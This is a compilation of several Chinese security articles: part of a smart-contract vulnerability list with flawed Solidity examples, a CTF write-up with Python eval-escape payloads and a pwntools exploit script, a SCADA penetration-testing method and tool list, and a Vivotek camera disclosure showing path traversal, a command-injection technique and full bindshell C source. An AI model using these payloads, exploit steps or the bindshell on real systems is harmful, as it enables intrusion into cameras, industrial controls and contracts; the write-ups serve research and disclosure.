* [未经检查的外部写⼊](https://github.com/trailofbits/not-so-smart-contracts/tree/master/unchecked_external_call "未经检查的外部写⼊")
* [扫描“未经检查 - 发送”错误的现场以太坊合同](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/ "扫描“未经检查 - 发送”错误的现场以太坊合同")
#### 5.拒绝服务
包括达到gas上限，意外抛出，意外杀死，访问控制违规
> 我不⼩⼼杀了它。 devops199 on the Parity multi-sig wallet
在以太坊的世界中，拒绝服务是致命的：尽管其他类型的应⽤程序最终可以恢复，但智能合同可以通过
其中⼀种攻击永远脱机。许多⽅⾯导致拒绝服务，包括在作为交易接受⽅时恶意⾏为，⼈为地增加计算
功能所需的⽓体，滥⽤访问控制访问智能合约的私⼈组件，利⽤混淆和疏忽，...这类攻击包括许多不同的变体，并可能在未来⼏年看到很多发展。
损失：估计为514,874 ETH（当时约3亿美元）
真实世界影响：
* [政府](https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/ " 政府")
* [奇偶校验多信号钱包](http://paritytech.io/a-postmortem-on-the-parity-multi-sig-library-self-destruct/ "奇偶校验多信号钱包")
示例：
1. ⼀个拍卖合同允许其⽤户在竞标不同的资产。
2. 为了投标，⽤户必须bid(uint object)⽤期望的以太数来调⽤函数。拍卖合同将把以太保存在第三⽅保存中，直到对象的所有者接受投标或初始投标⼈取消。这意味着拍卖合同必须在其余额中保留未解决出价的全部价值。
3. 该拍卖合同还包含⼀个withdraw(uint amount)功能，它允许管理员从合同获取资⾦。随着函数发送amount到硬编码地址，开发⼈员决定公开该函数。
4. ⼀个攻击者看到了潜在的攻击和调⽤功能，指挥所有的合同的资⾦为其管理员。这破坏了托管承诺并阻⽌了所有未决出价。
5. 虽然管理员可能会将托管的钱退还给合同，但攻击者可以通过简单地撤回资⾦继续进⾏攻击。
代码示例：
在下⾯的例⼦中（受以太王的启发），游戏合同的功能可以让你成为总统，如果你公开贿赂前⼀个。不
幸的是，如果前总统是⼀个聪明的合同，并导致⽀付逆转，权⼒的转移将失败，恶意智能合同将永远保 持总统。听起来像是对我的独裁：
function becomePresident() payable {
require(msg.value >= price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president
}
在第⼆个例⼦中，调⽤者可以决定下⼀个函数调⽤将奖励谁。由于for循环中有昂贵的指令，攻击者可
能会引⼊太⼤的数字来迭代（由于以太坊中的⽓体阻塞限制），这将有效地阻⽌函数的功能。
function selectNextWinners(uint256 _largestWinner) {
for(uint256 i = 0; i < largestWinner, i++) {
// heavy code
}
largestWinner = _largestWinner;
}
其他资源：
* [奇偶Multisig被⿊客⼊侵。再次](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838 "奇偶Multisig被⿊客⼊侵。再次")
* [关于Parity multi-sig钱包漏洞和Cappasity令牌众包的声明](https://blog.artoken.io/statement-on-the-parity-multi-sig-wallet-vulnerability-and-the-cappasity-artoken-crowdsale-b3a3fed2d567 "关于Parity multi-sig钱包漏洞和Cappasity令牌众包的声明")
#### 6.错误随机性
也被称为 没有什么是秘密的
> 合同对block.number年龄没有⾜够的验证，导致400个ETH输给⼀个未知的玩家，他在等待256个街区之前揭示了可预测的中奖号码。 Arseny
> Reutov
以太坊的随机性很难找到。虽然Solidity提供的功能和变量可以访问明显难以预测的值，但它们通常要么⽐看起来更公开，要么受到矿⼯影响。由于这些随机性的来源在⼀定程度上是可预测的，所以恶意⽤户通常可以复制它并依靠其不可预知性来攻击该功能。
损失：超过400 ETH
真实世界影响：
* [SmartBillions彩票](https://www.reddit.com/r/ethereum/comments/74d3dc/smartbillions_lottery_contract_just_got_hacked/ "SmartBillions彩票")
* [运⾏](https://medium.com/@hrishiolickel/why-smart-contracts-fail-undiscovered-bugs-and-what-we-can-do-about-them-119aa2843007 "运⾏")
示例：
1. 甲智能合同使⽤块号作为随机有游戏⽤的源。
2. 攻击者创建⼀个恶意合约来检查当前的块号码是否是赢家。如果是这样，它就称为第⼀个智能合约以获胜; 由于该呼叫将是同⼀交易的⼀部分，因此两个合约中的块编号将保持不变。
3. 攻击者只需要调⽤她的恶意合同，直到获胜。
代码示例：
在第⼀个例⼦中，a private
seed与iteration数字和keccak256散列函数结合使⽤来确定主叫⽅是否获胜。Eventhough的seed是private，它必须是通过交易在某个时间点设置，并因此在blockchain可⻅。
uint256 private seed;
function play() public payable {
require(msg.value >= 1 ether);
iteration++;
uint randomNumber = uint(keccak256(seed + iteration));
if (randomNumber % 2 == 0) {
msg.sender.transfer(this.balance);
}
}
在这第⼆个例⼦中，block.blockhash正被⽤来⽣成⼀个随机数。如果将该哈希值blockNumber设置为当前值block.number（出于显⽽易⻅的原因）并且因此设置为，则该哈希值未知0。在blockNumber过去设置为超过256个块的情况下，它将始终为零。最后，如果它被设置为⼀个以前的不太旧的区块号码，另⼀个智能合约可以访问相同的号码并将游戏合同作为同⼀交易的⼀部分进⾏调⽤。
function play() public payable {
require(msg.value >= 1 ether);
if (block.blockhash(blockNumber) % 2 == 0) {
msg.sender.transfer(this.balance);
}
}
其他资源： \- [在以太坊智能合约中预测随机数](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 "在以太坊智能合约中预测随机数") \-[在以太坊随机](https://blog.otlw.co/random-in-ethereum-50eefd09d33e "在以太坊随机")
#### 7.前台运⾏
也被称为 检查时间与使⽤时间（TOCTOU），竞争条件，事务顺序依赖性（TOD）
> 事实证明，只需要150⾏左右的Python就可以获得⼀个正常运⾏的算法。 Ivan Bogatyy
由于矿⼯总是通过代表外部拥有地址（EOA）的代码获得燃⽓费⽤，因此⽤户可以指定更⾼的费⽤以便
更快地开展交易。由于以太坊区块链是公开的，每个⼈都可以看到其他⼈未决交易的内容。这意味着，
如果某个⽤户正在揭示拼图或其他有价值的秘密的解决⽅案，恶意⽤户可以窃取解决⽅案并以较⾼的费
⽤复制其交易，以抢占原始解决⽅案。如果智能合约的开发者不⼩⼼，这种情况会导致实际的和毁灭性 的前端攻击。
真实世界影响：
* [班柯](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798 "班柯")
* [ERC-20](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/ "ERC-20")
* [运⾏](https://www.dasp.co/ "运⾏")
示例：
1. ⼀个聪明的合同发布的RSA号（N = prime1 x prime2）。
2. 对其submitSolution()公共功能的调⽤与权利prime1并prime2奖励来电者。
3. Alice成功地将RSA编号考虑在内，并提交解决⽅案。
4. 有⼈在⽹络上看到爱丽丝的交易（包含解决⽅案）等待被开采，并以较⾼的天然⽓价格提交。
5. 由于⽀付更⾼的费⽤，第⼆笔交易⾸先被矿⼯收回。该攻击者赢得奖⾦。
其他资源：
* * [在以太坊智能合约中预测随机数](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 "在以太坊智能合约中预测随机数")
* * [虚拟和解的前卫，悲痛和危险](https://blog.0xproject.com/front-running-griefing-and-the-perils-of-virtual-settlement-part-1-8554ab283e97 "虚拟和解的前卫，悲痛和危险")
* * [Frontrunning Bancor](https://www.youtube.com/watch?v=RL2nE3huNiI "Frontrunning Bancor")
#### 8.时间篡改
也被称为 时间戳依赖
> 如果⼀位矿⼯持有合同的股份，他可以通过为他正在挖掘的矿区选择合适的时间戳来获得优势。 Nicola Atzei，Massimo
> Bartoletti和Tiziana Cimoli
从锁定令牌销售到在特定时间为游戏解锁资⾦，合同有时需要依赖当前时间。这通常通过Solidity中的
block.timestamp别名或其别名完成now。但是，这个价值从哪⾥来？来⾃矿⼯！由于交易的矿⼯在报告采矿发⽣的时间⽅⾯具有回旋余地，所以良好的智能合约将避免强烈依赖所宣传的时间。请注意，
block.timestamp有时（错误）也会在随机数的⽣成中使⽤，[如＃6所述。错误的随机性](https://www.dasp.co/#item-6
"如＃6所述。错误的随机性")。
真实世界影响：
[政府](http://blockchain.unica.it/projects/ethereum-survey/attacks.html#governmental "政府")
示例：
1. ⼀场⽐赛在今天午夜付出了第⼀名球员。
2. 恶意矿⼯包括他或她试图赢得⽐赛并将时间戳设置为午夜。
3. 在午夜之前，矿⼯最终挖掘该块。当前的实时时间“⾜够接近”到午夜（当前为该块设置的时间戳），⽹络上的其他节点决定接受该块。
代码示例：
以下功能只接受特定⽇期之后的呼叫。由于矿⼯可以影响他们区块的时间戳（在⼀定程度上），他们可以尝试挖掘⼀个包含他们交易的区块，并在未来设定⼀个区块时间戳。如果⾜够接近，它将在⽹络上被接受，交易将在任何其他玩家试图赢得⽐赛之前给予矿⼯以太：
function play() public {
require(now > 1521763200 && neverPlayed == true);
neverPlayed = false;
msg.sender.transfer(1500 ether);
}
其他资源：
* [对以太坊智能合约的攻击调查](https://eprint.iacr.org/2016/1007 "对以太坊智能合约的攻击调查")
* [在以太坊智能合约中预测随机数](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 "在以太坊智能合约中预测随机数")
* [让智能合约变得更聪明](https://blog.acolyer.org/2017/02/23/making-smart-contracts-smarter/ "让智能合约变得更聪明")
#### 9.短地址攻击
也被称为 涉及⾮连锁问题，客户端漏洞
> 为令牌传输准备数据的服务假定⽤户将输⼊20字节⻓的地址，但实际上并未检查地址的⻓度。 PawełBylica
短地址攻击是EVM本身接受不正确填充参数的副作⽤。攻击者可以通过使⽤专⻔制作的地址来利⽤这⼀点，使编码错误的客户端在将它们包含在事务中之前不正确地对参数进⾏编码。这是EVM问题还是客户问题？是否应该在智能合约中修复？尽管每个⼈都有不同的观点，但事实是，这个问题可能会直接影响很多以太⽹。虽然这个漏洞还没有被⼤规模利⽤，但它很好地证明了客户和以太坊区块链之间的交互带来的问题。其他脱链问题存在：重要的是以太坊⽣态系统对特定的javascript前端，浏览器插件和公共节点的深度信任。臭名昭着的链外利⽤被⽤于[Coindash
ICO的⿊客](https://medium.com/crypt-bytes-tech/ico-hack-coindash-ed-dd336a4f1052
"Coindash ICO的⿊客")在他们的⽹⻚上修改了公司的以太坊地址，诱骗参与者将ethers发送到攻击者的地址。
发现时间表： 2017年4⽉6⽇ [如何通过阅读区块链来找到1000万美元](https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95 "如何通过阅读区块链来找到1000万美元")
真实世界影响：
[未知交换（s）](https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95 "未知交换（s）")
示例：
1. 交易所API具有交易功能，可以接收收件⼈地址和⾦额。
2. 然后，API `transfer(address _to, uint256 _amount)`使⽤填充参数与智能合约函数进⾏交互：它将12位零字节的地址（预期的20字节⻓度）预先设置为32字节⻓
3. 鲍勃（）要求爱丽丝转让他20个代币。他恶意地将她的地址截断以消除尾随的零。`0x3bdde1e9fbaef2579dd63e2abbf0be445ab93f00`
4. Alice使⽤交换API和Bob（`0x3bdde1e9fbaef2579dd63e2abbf0be445ab93f`）的较短的19字节地址。
5. API⽤12个零字节填充地址，使其成为31个字节⽽不是32个字节。有效地窃取以下`_amount`参数中的⼀个字节。
6. 最终，执⾏智能合约代码的EVM将会注意到数据未被正确填充，并会在`_amount`参数末尾添加丢失的字节。有效地传输256倍以上的令牌。
其他资源：
* [ERC20短地址攻击说明](http://vessenes.com/the-erc20-short-address-attack-explained/ "ERC20短地址攻击说明")
* [分析ERC20短地址攻击](https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/ "分析ERC20短地址攻击")
* [智能合同短地址攻击缓解失败](https://blog.coinfabrik.com/smart-contract-short-address-attack-mitigation-failure/ "智能合同短地址攻击缓解失败")
* [从标记中删除短地址攻击检查](https://github.com/OpenZeppelin/zeppelin-solidity/issues/261 "从标记中删除短地址攻击检查")
#### 10.未知的 未知物
> 我们相信更多的安全审计或更多的测试将没有什么区别。主要问题是评审⼈员不知道要寻找什么。 Christoph Jentzsch
以太坊仍处于起步阶段。⽤于开发智能合同的主要语⾔Solidity尚未达到稳定版本，⽽⽣态系统的⼯具仍处于试验阶段。⼀些最具破坏性的智能合约漏洞使每个⼈都感到惊讶，并且没有理由相信不会有另⼀个同样出乎意料或同样具有破坏性的漏洞。只要投资者决定将⼤量资⾦⽤于复杂⽽轻微审计的代码，我们将继续看到新的发现导致可怕的后果。对智能合约进⾏正式验证的⽅法尚不成熟，但它们似乎有望成为今⽇摇摇欲坠的现状。随着新类型的漏洞不断被发现，开发⼈员需要继续努⼒，并且需要开发新⼯具来在坏⼈之前找到它们。这个前10名可能会迅速发展，直到智能合约开发达到稳定和成熟的状态。
* * * | 社区文章 |
# 2019 *CTF一道题的非预期详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
先放上官方预期的解法：<https://github.com/sixstars/starctf2019/tree/master/misc-homebrewEvtLoop>
赛后一个非预期解法，更体现了python代码的魅力，下面是分析，如有错误，欢迎师傅们斧正
#!/usr/bin/python
# -*- encoding: utf-8 -*- # written in python 2.7
__author__ = 'garzon'
import sys
import hashlib
import random
# private ------------------------------------------------------------ def flag():
# flag of stage 1
return '*ctf{[0-9a-zA-Z_[]]+}'
def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret
def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}
def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
return __wrapper
def PoW():
#return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if hashlib.sha1(input).hexdigest()[:4] == a:
break
print 'invalid PoW, please retry'
# protected ---------------------------------------------------------- def fib(a):
if a <= 1: return 1
return fib(a-1)+fib(a-2)
# public ------------------------------------------------------------- def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'
def ping_handler(args):
return 'pong'
def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))
if __name__ == '__main__':
session = {}
session['log'] = flag()
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
while True:
PoW()
print '$',
event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break
for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)
event, args = event.split('114514')
args = args.split('114514')
try:
handler = eval(event)
print handler(args)
#except Exception, e:
# print 'exception:', str(e)
except:
print 'exception'
先上exp
[[reload][0]for[args]in[[sys]]][0]114514x
[[input][0]for[args]in[[session]]][0]114514x
刚拿到题目，就是2019-ddctf的升级版[homebrew event
loop](https://wulidecade.cn/index.php/archives/153/#menu_index_5)可是这里并没有有用的函数。
刚看到exp，可能有点不理解，下面一步一步分析
题目限制了输入只能是大小写字母加数字加_[]，这里我们得到[reload][0]是一个reload函数，先不解释为什么要用[reload][0]，后面分析之后就会一目了然。
先解释一下为什么要用 **for[args]in[[sys]]** ，这里用到了大家熟知的列表生成器。
参考：[列表生成式](https://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/00138681963899940a998c0ace64bb5ad45d1b56b103c48000)
>>> [x * x for x in range(1, 11) if x % 2 == 0]
[4, 16, 36, 64, 100]
逐个取出为x 然后用x _x作用一遍之后生成新的list_
__
_可能有人会问?这里args可以换成别的字符吗?按道理换成别的字符也是可以的，但是这道题目不行，需要对应下面那条语句: _*print
handler(args)__
这里可能又会问，这一条语句跟上面有啥关系？先来一个demo
>>> a = "Decade"
>>> b = [{'log':'FLAG'}]
>>> for a in b:
... pass
...
>>> a
{'log': 'FLAG'}
一针见血，这里a竟然被覆盖了。所以上面不能把args换成别的字符，原因就在于此。可能又会有人问，这一句的作用是为啥?就算是覆盖了，上面已经通过列表生成器重载了sys，然而神奇的是这里并没有。
>>> def aaa(c):
... print c
...
>>> import sys
>>> args="sss"
>>> d = eval('[[aaa][0]for[args]in[[sys]]][0]')
>>> d
<function aaa at 0x7f501cc0d500>
>>> args
<module 'sys' (built-in)>
>>> d(args)
<module 'sys' (built-in)>
>>> eval('[[aaa][0]for[args]in[[sys]]][0]')
<function aaa at 0x7f501cc0d500>
可以看到这里eval之后得到是aaa函数，这里并没有重载， **[[reload][0]for[args]in[[sys]]][0]**
这一整句的目的既为了得到reload函数，又为了覆盖掉args，然后通过 **print handler(args)**
达到重载的目的。回到最先的问题，这里用[reload][0]，是为了绕过空格，很容易想到mysql注入的时候通过(xx)来绕过空格的情景，于是通过
**[[input][0]for[args]in[[session]]][0]114514x** 拿到flag
from pwn import *
import hashlib
import time
def check(p):
s = p.recvuntil('"')
s = p.recvuntil('"')
s = s[0:-1]
p.recvuntil('> ')
for i in range(0x100):
for j in range(0x100):
t = chr(i) + chr(j)
if hashlib.sha1(t).hexdigest().startswith(s):
p.sendline(t)
#print(t.encode('hex'))
return
context.log_level = 'error'
payload0 = '[[reload][0]for[args]in[[sys]]][0]114514x'
payload1 = '[[input][0]for[args]in[[session]]][0]114514x'
payload2 = 'load_flag_handler114514x'
payload3 = '[[input][0]for[args]in[[session]]][0]114514x'
p = remote('34.92.121.149','54321')
check(p)
print('check1 ok!')
time.sleep(0.5)
p.recvuntil('$ ')
time.sleep(0.5)
p.sendline(payload0)
time.sleep(0.5)
p.recvline()
check(p)
print('check2 ok!')
p.recvuntil('$ ')
time.sleep(0.5)
p.sendline(payload1)
time.sleep(0.5)
print(p.recv())
第二题的升级版同样可以用此方法来获取flag，前面可以看到，我们其实达到了类似变量覆盖的效果，下面我就不细心分析。
[[reload][0]for[args]in[[sys]]][0]114514x
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0] | 社区文章 |
# 【技术分享】SCADA渗透测试
|
##### 译文声明
本文是翻译文章，文章来源：research.aurainfosec.io
原文地址：<http://research.aurainfosec.io/scada-penetration-testing/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[myh0st_2015](http://bobao.360.cn/member/contribute?uid=1371972097)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**SCADA简介**
SCADA（Supervisory Control And Data
Acquisition）即数据采集与监视控制系统。SCADA系统是以计算机为基础的DCS与电力自动化监控系统;它应用领域很广，可以应用于电力、冶金、石油、化工、燃气、铁路等领域的数据采集与监视控制以及过程控制等诸多领域。
近年来，SCADA系统已经从专有，封闭的网络和系统转移到开放系统和TCP / IP网络。 这暴露了这些网络与传统计算机网络面临的相同风险。
然而，这并不一定意味着SCADA评估的安全评估方法仍然是一样的。
根据我们在进行SCADA评估的经验，我们注意到每次评估都是不同的，每一次都需要基于系统功能和行业类型的独特方法。在这篇博文中，我将分享我的
进行SCADA评估的经验，并讨论哪些最佳方法和工具最适合评估这些高度敏感的系统。
**我们从协议层看SCADA**
SCADA系统支持各种协议，如DNP3，ModBus，IEC
60870，BACnet，LonWorks和EPICS。在这篇博文中，我们将继续讨论ModBus over TCP协议，因为它仍然广泛应用于控制系统。
ModBus是用于与可编程逻辑控制器（PLC）通信的串行通信协议，可以通过TCP（端口502）使用。要使用Modbus进行通信的每个设备都有一个唯一的地址。设备使用主从模型进行通信，只有一个设备（主站或从站）才能启动事务（称为“查询”）。从站通常是SCADA网络上的终端设备（阀门，传感器或仪表读取），处理信息并将其输出发送给主站。
ModBus帧由目标设备地址（或广播地址），定义请求动作的功能代码，数据字段和错误检查字段组成。默认情况下，ModBus没有身份验证和加密，但可以通过SSL
/ TLS传输，以防止嗅探，欺骗和重播攻击。
**一个典型的SCADA网络**
站在攻击者的角度可以从网络架构图中看出攻击面以及与网络中其他部分的隔离程度。下一代的SCADA网络将会设计IoT（物联网），从而增加维护和集成的便利来降低基础架构成本。
从架构图可以看出，SCADA网络与企业网络是通过防火墙隔开的，防火墙配置正确，不允许访问SCADA网络。
SCADA涉及三个主要关键点：
1 人操作的接口与控制平台：通常使用windows工作站通过软件来管理和控制网络上的PLC。如果工作站被攻击了，那么SCADA网络中的所有内容都可以被访问。
2 PLC（Programmable Logic Controller-可编程逻辑控制器）：可编程逻辑控制器是种专门为在工业环境下应用而设计的数字运算操作电子系统。它采用一种可编程的存储器，在其内部存储执行逻辑运算、顺序控制、定时、计数和算术运算等操作的指令，通过数字式或模拟式的输入输出来控制各种类型的机械设备或生产过程。我们可以通过网路浏览器、Telnet、SSH访问PLC，这样PLC就可能受到各种应用程序和网络层的攻击。一旦遭到攻击，那么攻击者就可以操纵输入/输出设备，并对组织造成损害。
3
终端设备（传感器，阀门或泵）：终端设备安装在远程站点。他们可以通过无线电、串型接口、以太网或调制解调器等通信链路向PLC反馈。如果受到攻击可能损害环境的完整性。
注意：上述组件是每个SCADA网络的标准配置，又是你也会发现其他设备比如数据库服务器，串行设备接口等。
**渗透测试方法**
**准备工作**
通常，组织很少会把SCADA测试放在QA环境。所以假设必须要对SCADA网络进行实时评估，那我们要考虑所有可能的情况。建议在做测试之前做好准备，并确保每个测试阶段所有涉及到的部门都应该通知到。
**熟悉目标**
做任何评估的第一个先决条件。渗透测试者需要了解SCADA的作用：有什么关键任务、提供什么功能、最终用户是谁以及他对组织的作用。研究系统文档，对实施的产品和供应商进行自己的研究，挖掘已知产品漏洞，并且在此阶段记录默认口令。这是就可以做威胁建模。
**研究网络架构**
研究网络架构的主要目的是在逻辑上了解SCADA环境的每个组件如何相互关联（这个是非常复杂的）。还应该了解设计哪些组件以及他们如何隔离，如何连接或暴露在更加广泛的网络中。这个阶段还涉及网络中存在的各种子网的识别。了解企业网络与SCADA网络是否分离是非常重要的。这个阶段就可以确定我的攻击面。
**探索网络**
有了上述阶段的信息，可以对网络进行探索了，但是前提是要在客户同意的情况下。首选的方法是对知名的端口进行慢速扫描，列出SCADA相关的网络协议和服务。
尝试选择不同的时间选项来确保不会占用带宽或造成DOS攻击，由于SCADA系统是非常脆弱的很容易造成DOS的情况。这个阶段也快尝试使用wireshark来嗅探流量，看是否存在任何明文传输的问题。在这个阶段要经常与利益相关者进行沟通。
**攻击计划**
以上阶段应该已经提供了足够的信息让你知道该如何测试以及测试哪些应用。在攻击之前应该记录所有测试的方法步骤，这样在后面测试敏感和脆弱的系统时更有条理。
**实施攻击（不要暴力攻击）**
对每个漏洞单独测试利用可以帮助我们确定漏洞的根本原因，以防任何设备出现故障的意外。如果发生这种情况应该及时与客户沟通。应该利用SCADA网络中的每个组件，即网络基础设施、主机操作系统、PLC、HMI、工作站等。
**SCADA渗透测试列表**
出厂默认设置是否修改
是否设置了访问PLC的白名单
SCADA网络与其他网络是否隔离
是否可以通过物理方式访问SCADA控制中心
控制机器是否可以访问互联网
SCADA的网络传输是否是明文形式
组织是否遵循严格的密码策略
控制器、工作站以及服务器是否打了最新补丁
是否运行有防病毒软件并且设置应用程序白名单
**工具列表**
smod（https://github.com/enddo/smod）：Modbus渗透测试框架
plcscan（https://github.com/yanlinlin82/plcscan）：扫描PLC的Python脚本
NMAP Scripts（https://nmap.org/book/man-nse.html）：扫描PLC的nmap脚本
Wireshark（https://www.wireshark.org/）：网络嗅探器
mbtget（https://github.com/sourceperl/mbtget）：读取PLC的Perl脚本
plcinject（https://github.com/SCADACS/PLCinject）：向PLC注入代码的工具
参考工具列表（https://github.com/hslatman/awesome-industrial-control-system-security） | 社区文章 |
###
Author:[crblog](http://blog.cal1.cn/post/An%20easy%20way%20to%20pwn%20most%20of%20the%20vivotek%20network%20cameras)
内网中有一些 Vivotek 的网络摄像头，用作监控。直接访问 80 端口的 Web 服务，在 配置 - 维护 - 导入/导出文件
里导出配置文件，得到一个包含有 etc 文件夹的 tar 包。从目录结构来看，像是把 Linux 上的文件打包了一样，推测摄像头上运行着嵌入式 Linux
系统。
于是对 Web 服务进行黑盒测试，然而并没有发现什么漏洞。访问 `/cgi-bin/viewer/getparam_cache.cgi?system_info_firmwareversion` 得知固件版本号是
`IB8369-VVTK-0102a` ，那么型号应该就是 IB8369
了。[去官网下载固件](http://www.vivotek.com/ib8369/#downloads)进行分析，顺手点开了固件旁边的[用户指南](http://download.vivotek.com/downloadfile/downloads/usersmanuals/ib8369manual_en.pdf)，在一堆
cgi 接口中发现了这么一条：
这里的 query_string 居然是绝对路径，尝试读取 /etc/passwd ，返回 "Permission denied" ：
如果按照用户手册里的 /mnt/auto/CF/NCMF/xx 来，就是不会遇到前面的问题：
然而后端只检查了前缀是否为 `/mnt/auto/` ，可以 **路径穿越到 / 下，读取任意文件** ：
以上是第一个漏洞。下面是命令注入：
从 ib8369firmware.zip 里解压出 IB8369-VVTK-0102a.flash.pkg 。去掉文件头部的 54 字节后用
BandiZip 可以提取出 rootfs.img ，是文件系统镜像。
/bin 里只有 busybox 是真的 ELF ，其他都是假的，全都是到 busybox 的软链接； /sbin 里有一些厂商编译的 ELF
，用于摄像头的各种配置，其他也都是到 /bin/busybox 的软链接； /usr/bin 里有很多厂商写的 shell 脚本，也是用于摄像头的配置；
/usr/share/www/cgi-bin 里是 cgi 们，有很多是 shell 脚本，一部分是 ELF 。这些 shell
脚本很多都把用户输入带入命令去执行，或者是作为参数传递给专门处理某项配置的 ELF 。既然能访问到 Web 服务，那就从这些 cgi 入手好了。
花了半小时，终于在 /usr/share/www/cgi-bin/admin/testserver.cgi
发现了一处命令注入。这个接口是在添加监控事件对应操作时的测试服务可用性的功能，比如配置让摄像头在系统启动时发出特定 HTTP
请求，或在监测到特定画面变化时发送邮件，或是定时将日志发送到指定邮箱，这个接口就可以用于测试 HTTP 请求或是邮件能否正常发送。
这个 CGI 中先把用户输入存放在 strparam 这个变量中
if [ "$REQUEST_METHOD" = "POST" ]; then
strparam=`cat $stdin | cut -c1-$CONTENT_LENGTH`
else
strparam=$QUERY_STRING
fi
接着把 strparam 传给 decode.sh 进行 URL 解码，然后用正则取出各个参数，存放到对应变量中
strparam=`decode.sh $strparam`
type=`echo "$strparam" | sed -n 's/^.*type=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
address=`echo "$strparam" | sed -n 's/^.*address=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
senderemail=`echo "$strparam" | sed -n 's/^.*senderemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
recipientemail=`echo "$strparam" | sed -n 's/^.*recipientemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
之后，如果 type 是 email 并且 address 和 recipientemail 非空，就把用户输入的 sendermail 和
recipientmail 代入用 sh -c 执行的字符串里：
if [ -n "$address" ] && [ -n "$recipientemail" ]; then
#echo "$body" | sh -c "$SMTPC -s \"$title\" $mime_type -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\""
if [ "$sslmode" = "1" ]; then
check_smtp_over_https
sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S "127.0.0.1" -P "25" $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT"
else
sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT"
fi
if [ "$?" = "0" ]
then
translator "the_email_has_been_sent_successfully"
else
translator "error_in_sending_email"
fi
else
translator "please_define_mail_server_location"
fi
值得一提的是，位于 /usr/bin 的 decode.sh 在 URL 解码之前，还用 `gsub(/["<>]/,"",temp)`
过滤了双引号和尖括号。同时，所有与空格等价的符号也不能使用，因为 CGI 把 strparam 传递给 decode.sh 的时候没有加引号，而
decode.sh 中 `temp=$0` 取的是第一个参数，也就是说如果 strparam 中有空格，decode.sh
会接收到多个参数，而最终只会返回第一个参数经过 decode 后的结果。
在这里我用变量 `${IFS}` 替代空格，用 `|tee` 替代 `>`：
构造 Payload 进行 **命令注入** ：
利用前面的文件读取漏洞查看命令执行的结果：
由于目标上没有 nc 或是 bash ，而且 sh 和 ash 都是软链接到 busybox 的
，[@RicterZ](https://ricterz.me/) 建议我交叉编译一个 bindshell :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
char msg[512];
int srv_sockfd, new_sockfd;
socklen_t new_addrlen;
struct sockaddr_in srv_addr, new_addr;
if (argc != 2)
{
printf("\nusage: ./tcpbind <listen port>\n");
return -1;
}
if (fork() == 0)
{
if ((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
{
perror("[error] socket() failed!");
return -1;
}
srv_addr.sin_family = PF_INET;
srv_addr.sin_port = htons(atoi(argv[1]));
srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)
{
perror("[error] bind() failed!");
return -1;
}
if (listen(srv_sockfd, 1) < 0)
{
perror("[error] listen() failed!");
return -1;
}
for (;;)
{
new_addrlen = sizeof(new_addr);
new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
if (new_sockfd < 0)
{
perror("[error] accept() failed!");
return -1;
}
if (fork() == 0)
{
close(srv_sockfd);
write(new_sockfd, msg, strlen(msg));
dup2(new_sockfd, 2);
dup2(new_sockfd, 1);
dup2(new_sockfd, 0);
execl("/bin/busybox", "/bin/busybox", "sh");
return 0;
}
else
close(new_sockfd);
}
}
return 0;
}
